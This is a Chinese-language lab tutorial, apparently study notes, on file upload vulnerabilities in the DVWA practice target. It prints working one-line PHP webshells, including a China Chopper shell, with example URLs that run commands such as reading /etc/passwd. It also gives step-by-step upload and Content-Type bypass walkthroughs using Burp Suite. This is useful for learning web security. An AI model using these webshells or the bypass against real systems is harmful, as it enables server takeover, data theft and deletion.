上传漏洞及危险:
1、文件上传是大部分web应用都具备的功能,例如用户上传附件,修改头像、分享图片或视频等
2、正常的文件一般是文档、图片、视频等,web应用收集之后放入后台存储,需要的时候再调用出来返回;
3、如果恶意文件如php、asp等执行文件绕过web应用,并顺利执行,则相当于黑客直接拿到了webshell;
4、一旦黑客拿到webshell,则可以拿到web应用的数据,删除web文件,本地提权,进一步拿到整个服务器甚至内网权限;
5、sql注入攻击的对象是数据库,文件上传漏洞主要攻击web服务,实际渗透两种相结合,达到目标的深度控制;
webshell
小马:一句话木马也称为小马,即整个shell代码量只有一行,一般是系统执行函数;
shell2.php #eval 使用php函数,例如phpinfo();
<?php eval($_REQUEST['cmd']);?>
例如:http://ip/dvwa/hacktable/uploads/shell2.php?cmd=phpinfo();
大马:代码量和功能比小马多,一般会进行二次编码加密,防止被安全防火墙/入侵系统检查到;
shell3.php #system 使用linux系统命令,例如ls、cp、rm
<?php system($_REQUEST['test']);?>
例如:http://ip/dvwa/hacktable/uploads/shell3.php?test=cat /etc/passwd
中国菜刀:
<?php @eval($_POST['chopper']);?>
说明:REQUEST是在页面端输入变量访问,POST则是使用像中国菜刀之类的工具链接,是C/S架构。
实例一:
将dvwa靶场安全级别调整到 low:该级别下程序只判断了是否有文件上传,没有判断文件类型和后缀等。
1、编写本地一句话木马文件 shell2.php
2、在靶场上传漏洞菜单总将该木马文件上传:
3、将上传路径拼接到url中后复制拼接后的路径
4、打开中国菜刀,将路径粘贴到菜刀中,后面输入框为脚本中密码:
5、点击添加后,双击url可以显示网站相应路径信息和文件信息,可以针对该网站相应文件进行修改、添加或者删除:
实例二:
将dvwa靶场安全级别调整到 medium:该级别服务器验证了上传文件的类型
1、编写本地一句话木马文件 shell2.php
2、启动burp suite用于拦截的上传请求,配置代理端口为8080
3、将浏览器修改为代理模式,ip为本机,端口为8080
4、上传木马文件到服务器,拦截上传请求
5、修改请求参数中的文件类型为image/jpeg后,放开请求上传文件。
6、将上传路径拼接到url中后复制拼接后的路径
7、打开中国菜刀,将路径粘贴到菜刀中,后面输入框为脚本中密码:
8、点击添加后,双击url可以显示网站相应路径信息和文件信息,可以针对该网站相应文件进行修改、添加或者删除:








